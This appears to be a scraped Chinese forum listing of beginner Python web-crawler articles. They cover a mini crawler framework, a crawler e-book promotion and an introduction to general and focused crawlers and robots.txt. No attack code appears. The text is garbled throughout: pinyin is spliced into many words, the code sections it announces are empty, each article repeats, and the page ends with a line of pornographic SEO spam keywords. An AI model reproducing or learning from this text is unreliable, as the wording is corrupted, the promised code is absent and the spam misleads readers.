  如果你完全不熟悉編程,Portia 提供了一個(gè)易用的可視化的界面。 則提供一個(gè)托管的版本。
  這遠不是一個(gè)完整的列表,當然,如果你是一個(gè)編程專(zhuān)家,你可以選擇采取你自己的方式而不是使用這種框架中的一個(gè)?;蛘吣惆l(fā)覺(jué)一個(gè)用其他語(yǔ)言編撰的替代品。例如 Python 編程者可能更喜歡 Python 附帶的Selenium,它可以在不使用實(shí)際瀏覽器的情況下進(jìn)行爬取。如果你有喜歡的爬取和挖掘工具,請在下邊評論使我們曉得。
 ?。}圖:You as a Machine. Modified by Rikki Endsley. CC BY-SA 2.0)
  via: /resources/python/web-scraper-crawler

手把手教你寫(xiě)網(wǎng)絡(luò )爬蟲(chóng)(2):迷你爬蟲(chóng)構架-通用網(wǎng)路爬蟲(chóng)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 374 次瀏覽 ? 2020-06-20 08:00 ? 來(lái)自相關(guān)話(huà)題

  
  介紹
  大家好!回顧上一期,我們在介紹了爬蟲(chóng)的基本概念以后,就借助各類(lèi)工具橫沖直撞的完成了一個(gè)小爬蟲(chóng),目的就是猛、糙、快,方便初學(xué)者上手,建立信心。對于有一定基礎的讀者,請不要著(zhù)急,以后我們會(huì )學(xué)習主流的開(kāi)源框架,打造出一個(gè)強悍專(zhuān)業(yè)的爬蟲(chóng)系統!不過(guò)在此之前,要繼續打好基礎,本期我們先介紹爬蟲(chóng)的種類(lèi),然后選定最典型的通用網(wǎng)路爬蟲(chóng),為其設計一個(gè)迷你框架。有了自己對框架的思索后爬蟲(chóng)結構,再學(xué)習復雜的開(kāi)源框架就有頭緒了。
  今天我們會(huì )把更多的時(shí)間用在思索上,而不是一根筋的coding。用80%的時(shí)間思索,20%的時(shí)間敲按鍵,這樣更有利于進(jìn)步。
  
  語(yǔ)言&amp;環(huán)境
  語(yǔ)言:帶足彈藥,繼續用Python開(kāi)路!
  
  
  
  
  
  
  一個(gè)迷你框架
  下面以比較典型的通用爬蟲(chóng)為例爬蟲(chóng)結構,分析其工程要點(diǎn),設計并實(shí)現一個(gè)迷你框架。架構圖如下:
  
  代碼結構:
  
  config_load.py 配置文件加載
  crawl_thread.py 爬取線(xiàn)程
  mini_spider.py 主線(xiàn)程
  spider.conf 配置文件
  url_table.py url隊列、url表
  urls.txt 種子url集合
  webpage_parse.py 網(wǎng)頁(yè)剖析
  webpage_save.py 網(wǎng)頁(yè)儲存
  看看配置文件里有哪些內容:
  spider.conf
  
  
  
  
  
  url_table.py
  
  Step 3. 記錄什么網(wǎng)頁(yè)早已下載過(guò)的小筆記本——URL表。
  在互聯(lián)網(wǎng)上,一個(gè)網(wǎng)頁(yè)可能被多個(gè)網(wǎng)頁(yè)中的超鏈接所指向。這樣在遍歷互聯(lián)網(wǎng)這張圖的時(shí)侯,這個(gè)網(wǎng)頁(yè)可能被多次訪(fǎng)問(wèn)到。為了避免一個(gè)網(wǎng)頁(yè)被下載和解析多次,需要一個(gè)URL表記錄什么網(wǎng)頁(yè)早已下載過(guò)。再碰到這個(gè)網(wǎng)頁(yè)的時(shí)侯,我們就可以跳過(guò)它。
  crawl_thread.py
  
  
  
  
  Step 5. 頁(yè)面剖析模塊
  從網(wǎng)頁(yè)中解析出URLs或則其他有用的數據。這個(gè)是下期重點(diǎn)介紹的,可以參考之前的代碼。
  Step 6. 頁(yè)面儲存模塊
  保存頁(yè)面的模塊,目前將文件保存為文件,以后可以擴充出多種儲存方法,如mysql,mongodb,hbase等等。
  webpage_save.py
  
  寫(xiě)到這兒,整個(gè)框架早已清晰的呈如今大伙眼前了,千萬(wàn)不要小看它,不管多么復雜的框架都是在這種基本要素上擴充下來(lái)的。
  下一步
  基礎知識的學(xué)習暫時(shí)告一段落,希望還能幫助你們打下一定的基礎。下期開(kāi)始為你們介紹強悍成熟的爬蟲(chóng)框架Scrapy,它提供了好多強悍的特點(diǎn)來(lái)促使爬取更為簡(jiǎn)單高效,更多精彩,敬請期盼!
  【編輯推薦】
  如何用Python來(lái)找你喜歡的女生?初識Python:全局、局部和非局部變量(帶示例)教你用Python解決非平衡數據問(wèn)題(附代碼)調查顯示:你是否是一個(gè)合格的Python開(kāi)發(fā)者?手把手教你寫(xiě)網(wǎng)絡(luò )爬蟲(chóng)(1):網(wǎng)易云音樂(lè )歌單 查看全部

  
  介紹
  大家好!回顧上一期,我們在介紹了爬蟲(chóng)的基本概念以后,就借助各類(lèi)工具橫沖直撞的完成了一個(gè)小爬蟲(chóng),目的就是猛、糙、快,方便初學(xué)者上手,建立信心。對于有一定基礎的讀者,請不要著(zhù)急,以后我們會(huì )學(xué)習主流的開(kāi)源框架,打造出一個(gè)強悍專(zhuān)業(yè)的爬蟲(chóng)系統!不過(guò)在此之前,要繼續打好基礎,本期我們先介紹爬蟲(chóng)的種類(lèi),然后選定最典型的通用網(wǎng)路爬蟲(chóng),為其設計一個(gè)迷你框架。有了自己對框架的思索后爬蟲(chóng)結構,再學(xué)習復雜的開(kāi)源框架就有頭緒了。
  今天我們會(huì )把更多的時(shí)間用在思索上,而不是一根筋的coding。用80%的時(shí)間思索,20%的時(shí)間敲按鍵,這樣更有利于進(jìn)步。
  
  語(yǔ)言&amp;環(huán)境
  語(yǔ)言:帶足彈藥,繼續用Python開(kāi)路!
  
  
  
  
  
  
  一個(gè)迷你框架
  下面以比較典型的通用爬蟲(chóng)為例爬蟲(chóng)結構,分析其工程要點(diǎn),設計并實(shí)現一個(gè)迷你框架。架構圖如下:
  
  代碼結構:
  
  config_load.py 配置文件加載
  crawl_thread.py 爬取線(xiàn)程
  mini_spider.py 主線(xiàn)程
  spider.conf 配置文件
  url_table.py url隊列、url表
  urls.txt 種子url集合
  webpage_parse.py 網(wǎng)頁(yè)剖析
  webpage_save.py 網(wǎng)頁(yè)儲存
  看看配置文件里有哪些內容:
  spider.conf
  
  
  
  
  
  url_table.py
  
  Step 3. 記錄什么網(wǎng)頁(yè)早已下載過(guò)的小筆記本——URL表。
  在互聯(lián)網(wǎng)上,一個(gè)網(wǎng)頁(yè)可能被多個(gè)網(wǎng)頁(yè)中的超鏈接所指向。這樣在遍歷互聯(lián)網(wǎng)這張圖的時(shí)侯,這個(gè)網(wǎng)頁(yè)可能被多次訪(fǎng)問(wèn)到。為了避免一個(gè)網(wǎng)頁(yè)被下載和解析多次,需要一個(gè)URL表記錄什么網(wǎng)頁(yè)早已下載過(guò)。再碰到這個(gè)網(wǎng)頁(yè)的時(shí)侯,我們就可以跳過(guò)它。
  crawl_thread.py
  
  
  
  
  Step 5. 頁(yè)面剖析模塊
  從網(wǎng)頁(yè)中解析出URLs或則其他有用的數據。這個(gè)是下期重點(diǎn)介紹的,可以參考之前的代碼。
  Step 6. 頁(yè)面儲存模塊
  保存頁(yè)面的模塊,目前將文件保存為文件,以后可以擴充出多種儲存方法,如mysql,mongodb,hbase等等。
  webpage_save.py
  
  寫(xiě)到這兒,整個(gè)框架早已清晰的呈如今大伙眼前了,千萬(wàn)不要小看它,不管多么復雜的框架都是在這種基本要素上擴充下來(lái)的。
  下一步
  基礎知識的學(xué)習暫時(shí)告一段落,希望還能幫助你們打下一定的基礎。下期開(kāi)始為你們介紹強悍成熟的爬蟲(chóng)框架Scrapy,它提供了好多強悍的特點(diǎn)來(lái)促使爬取更為簡(jiǎn)單高效,更多精彩,敬請期盼!
  【編輯推薦】
  如何用Python來(lái)找你喜歡的女生?初識Python:全局、局部和非局部變量(帶示例)教你用Python解決非平衡數據問(wèn)題(附代碼)調查顯示:你是否是一個(gè)合格的Python開(kāi)發(fā)者?手把手教你寫(xiě)網(wǎng)絡(luò )爬蟲(chóng)(1):網(wǎng)易云音樂(lè )歌單

一份Python爬蟲(chóng)電子書(shū)

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 302 次瀏覽 ? 2020-06-19 08:01 ? 來(lái)自相關(guān)話(huà)題

  
  Python爬蟲(chóng)現如今早已越來(lái)越吃香了,隨意打開(kāi)一個(gè)急聘網(wǎng)站從工資水平來(lái)看,入門(mén)的爬蟲(chóng)工程師都能領(lǐng)到15k以上,爬蟲(chóng)構架相關(guān)的都能領(lǐng)到30k以上,我們還有什么理由去拒絕爬蟲(chóng)呢?當然,除非你跟錢(qián)過(guò)意不去。
  
  
  所以秉承使更多想改行學(xué)習Python爬蟲(chóng)的的朋友快速學(xué)習、讓更多的小伙伴領(lǐng)到高薪我整理了一份十分健全的Python爬蟲(chóng)的電子書(shū)。
  之前在知乎寫(xiě)分享早已有一年多,一直有同學(xué)說(shuō)我的回答和文章能整理成書(shū)籍了仍然偷懶沒(méi)做,也有出版社的小伙伴找我把這種內容弄成書(shū)都被我拒絕了。所以也是借著(zhù)這個(gè)機會(huì )仔細整理了知乎上的回答和文章另外也添加了一些新的內容,完成了幾本小小的電子書(shū),這一本比較小一部分是有關(guān)于Python方面的,主要內容還是Python爬蟲(chóng)。
  這本書(shū)主要內容是Python入門(mén)爬蟲(chóng)飼養書(shū),以及Python爬蟲(chóng)入門(mén)和Python爬蟲(chóng)進(jìn)階,以下這是這本電子書(shū)的一個(gè)主要的目錄:
  
  
  這本書(shū)不僅一些自己的學(xué)習、面試感受之外,還有好多包括書(shū)籍方面的資源、教程方面的學(xué)習資源,為了克服選擇困難癥,我在選擇教程或則書(shū)籍的時(shí)侯盡量保證了資源少而且精準,能用最少最精華的教程使你們快速入門(mén)Python以及比較熟悉的使用Python爬蟲(chóng)。
  如果你能用心用2-3個(gè)月的時(shí)間認真通讀這本電子書(shū)爬蟲(chóng)飼養書(shū),并且學(xué)習這本書(shū)上推薦的一些教程和書(shū)籍,相信你一定能找到一份不錯的Python爬蟲(chóng)工作。 查看全部
  
  Python爬蟲(chóng)現如今早已越來(lái)越吃香了,隨意打開(kāi)一個(gè)急聘網(wǎng)站從工資水平來(lái)看,入門(mén)的爬蟲(chóng)工程師都能領(lǐng)到15k以上,爬蟲(chóng)構架相關(guān)的都能領(lǐng)到30k以上,我們還有什么理由去拒絕爬蟲(chóng)呢?當然,除非你跟錢(qián)過(guò)意不去。
  
  
  所以秉承使更多想改行學(xué)習Python爬蟲(chóng)的的朋友快速學(xué)習、讓更多的小伙伴領(lǐng)到高薪我整理了一份十分健全的Python爬蟲(chóng)的電子書(shū)。
  之前在知乎寫(xiě)分享早已有一年多,一直有同學(xué)說(shuō)我的回答和文章能整理成書(shū)籍了仍然偷懶沒(méi)做,也有出版社的小伙伴找我把這種內容弄成書(shū)都被我拒絕了。所以也是借著(zhù)這個(gè)機會(huì )仔細整理了知乎上的回答和文章另外也添加了一些新的內容,完成了幾本小小的電子書(shū),這一本比較小一部分是有關(guān)于Python方面的,主要內容還是Python爬蟲(chóng)。
  這本書(shū)主要內容是Python入門(mén)爬蟲(chóng)飼養書(shū),以及Python爬蟲(chóng)入門(mén)和Python爬蟲(chóng)進(jìn)階,以下這是這本電子書(shū)的一個(gè)主要的目錄:
  
  
  這本書(shū)不僅一些自己的學(xué)習、面試感受之外,還有好多包括書(shū)籍方面的資源、教程方面的學(xué)習資源,為了克服選擇困難癥,我在選擇教程或則書(shū)籍的時(shí)侯盡量保證了資源少而且精準,能用最少最精華的教程使你們快速入門(mén)Python以及比較熟悉的使用Python爬蟲(chóng)。
  如果你能用心用2-3個(gè)月的時(shí)間認真通讀這本電子書(shū)爬蟲(chóng)飼養書(shū),并且學(xué)習這本書(shū)上推薦的一些教程和書(shū)籍,相信你一定能找到一份不錯的Python爬蟲(chóng)工作。

爬蟲(chóng)簡(jiǎn)介

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 332 次瀏覽 ? 2020-06-17 08:01 ? 來(lái)自相關(guān)話(huà)題

  網(wǎng)絡(luò )爬蟲(chóng)機器人,以互聯(lián)網(wǎng)自由抓取數據的程序
  網(wǎng)頁(yè)的三大特點(diǎn):
  是拿來(lái)寫(xiě)前端的,對于異步和多任務(wù)處理不太好,爬蟲(chóng)是一個(gè)工具性的程序爬蟲(chóng),對效率要求比較高
  是Python寫(xiě)爬蟲(chóng)的最大競爭對手,Java語(yǔ)言生態(tài)系統比較健全,對各模塊的支持也比較友好。但是Java這門(mén)語(yǔ)言比較笨重,重構和迭代成本比價(jià)高
  語(yǔ)言較難,代碼成形比較慢
  語(yǔ)法簡(jiǎn)單素雅,第三方模塊比較豐富,關(guān)于爬蟲(chóng)的網(wǎng)路懇求模塊和網(wǎng)路解析模塊(Lxml,BeautifulSoup,pyQuery)也比較多,并且有高效穩定的scrapy網(wǎng)路爬蟲(chóng)框架,以及爬scrapy,redis分布式爬蟲(chóng)框架,Python也是一門(mén)膠帶語(yǔ)言,對于其他語(yǔ)言的調用比較便捷
  是搜索引擎的重要組成部份
  盡可能的將所有互聯(lián)網(wǎng)上的網(wǎng)頁(yè)下載到本地,經(jīng)過(guò)預處理(去噪,分詞,去廣告),最終將數據存儲到本地,做一個(gè)鏡像備份產(chǎn)生一個(gè)檢索系統
  1.選取一部分的url作為種子url,將這種url裝入到帶爬取的任務(wù)隊列上面
  2.從待爬取的任務(wù)列隊中取出url,發(fā)起懇求,將獲取的網(wǎng)頁(yè)源碼儲存到本地
  并將早已爬取過(guò)的url ,放到已爬取的隊列中
  3.從已爬取的URL的響應結果中剖析提取其他的url的地址,繼續添加到待爬取的隊列中,
  之后就是不斷的循環(huán),直到所有的url都獲取完畢。
  1.通過(guò)網(wǎng)站提交自己的網(wǎng)站地址()
  2.搜索引擎會(huì )和DNS服務(wù)商合作,拿到最新的網(wǎng)站地址
  3.網(wǎng)站中包含其他外鏈
  DNS服務(wù):將我們的域名轉換為對應的ip的一種技術(shù)
  數據獲取------&gt;預處理(去噪,分詞,去廣告.....)------&gt;存儲------&gt;提供檢索插口|排名(網(wǎng)絡(luò )排行)
  網(wǎng)站排名:
  1.根據用戶(hù)的訪(fǎng)問(wèn)量(越多越靠前)
  2.競價(jià)排名
  1.必須遵循robot合同:就是一個(gè)規范,告訴搜索引擎爬蟲(chóng),哪些目錄下的資源容許爬蟲(chóng),哪些目錄下的資源不容許爬蟲(chóng)
  "user-agent":這項值拿來(lái)表示是哪家的搜索引擎
  "allow":允許被爬取的url
  "disallow":不容許被爬取的url
  2.搜索引擎返回的都是網(wǎng)頁(yè),并且返回的90%都是無(wú)用的信息
  3.不能否按照不同用戶(hù)的需求返回不同的結果
  4.通用爬蟲(chóng)對于多媒體的文件不能夠獲取
  聚焦爬蟲(chóng)是面向主題的爬蟲(chóng),在爬蟲(chóng)數據的過(guò)程中會(huì )對數據進(jìn)行篩選,往往只會(huì )爬蟲(chóng)與需求相關(guān)的數據 查看全部

  網(wǎng)絡(luò )爬蟲(chóng)機器人,以互聯(lián)網(wǎng)自由抓取數據的程序
  網(wǎng)頁(yè)的三大特點(diǎn):
  是拿來(lái)寫(xiě)前端的,對于異步和多任務(wù)處理不太好,爬蟲(chóng)是一個(gè)工具性的程序爬蟲(chóng),對效率要求比較高
  是Python寫(xiě)爬蟲(chóng)的最大競爭對手,Java語(yǔ)言生態(tài)系統比較健全,對各模塊的支持也比較友好。但是Java這門(mén)語(yǔ)言比較笨重,重構和迭代成本比價(jià)高
  語(yǔ)言較難,代碼成形比較慢
  語(yǔ)法簡(jiǎn)單素雅,第三方模塊比較豐富,關(guān)于爬蟲(chóng)的網(wǎng)路懇求模塊和網(wǎng)路解析模塊(Lxml,BeautifulSoup,pyQuery)也比較多,并且有高效穩定的scrapy網(wǎng)路爬蟲(chóng)框架,以及爬scrapy,redis分布式爬蟲(chóng)框架,Python也是一門(mén)膠帶語(yǔ)言,對于其他語(yǔ)言的調用比較便捷
  是搜索引擎的重要組成部份
  盡可能的將所有互聯(lián)網(wǎng)上的網(wǎng)頁(yè)下載到本地,經(jīng)過(guò)預處理(去噪,分詞,去廣告),最終將數據存儲到本地,做一個(gè)鏡像備份產(chǎn)生一個(gè)檢索系統
  1.選取一部分的url作為種子url,將這種url裝入到帶爬取的任務(wù)隊列上面
  2.從待爬取的任務(wù)列隊中取出url,發(fā)起懇求,將獲取的網(wǎng)頁(yè)源碼儲存到本地
  并將早已爬取過(guò)的url ,放到已爬取的隊列中
  3.從已爬取的URL的響應結果中剖析提取其他的url的地址,繼續添加到待爬取的隊列中,
  之后就是不斷的循環(huán),直到所有的url都獲取完畢。
  1.通過(guò)網(wǎng)站提交自己的網(wǎng)站地址()
  2.搜索引擎會(huì )和DNS服務(wù)商合作,拿到最新的網(wǎng)站地址
  3.網(wǎng)站中包含其他外鏈
  DNS服務(wù):將我們的域名轉換為對應的ip的一種技術(shù)
  數據獲取------&gt;預處理(去噪,分詞,去廣告.....)------&gt;存儲------&gt;提供檢索插口|排名(網(wǎng)絡(luò )排行)
  網(wǎng)站排名:
  1.根據用戶(hù)的訪(fǎng)問(wèn)量(越多越靠前)
  2.競價(jià)排名
  1.必須遵循robot合同:就是一個(gè)規范,告訴搜索引擎爬蟲(chóng),哪些目錄下的資源容許爬蟲(chóng),哪些目錄下的資源不容許爬蟲(chóng)
  "user-agent":這項值拿來(lái)表示是哪家的搜索引擎
  "allow":允許被爬取的url
  "disallow":不容許被爬取的url
  2.搜索引擎返回的都是網(wǎng)頁(yè),并且返回的90%都是無(wú)用的信息
  3.不能否按照不同用戶(hù)的需求返回不同的結果
  4.通用爬蟲(chóng)對于多媒體的文件不能夠獲取
  聚焦爬蟲(chóng)是面向主題的爬蟲(chóng),在爬蟲(chóng)數據的過(guò)程中會(huì )對數據進(jìn)行篩選,往往只會(huì )爬蟲(chóng)與需求相關(guān)的數據

官方客服QQ群

微信人工客服

QQ人工客服


線(xiàn)

亚洲国产精品无码久久大片,亚洲AV无码乱码麻豆精品国产,亚洲品质自拍网站,少妇伦子伦精品无码STYLES,国产精久久久久久久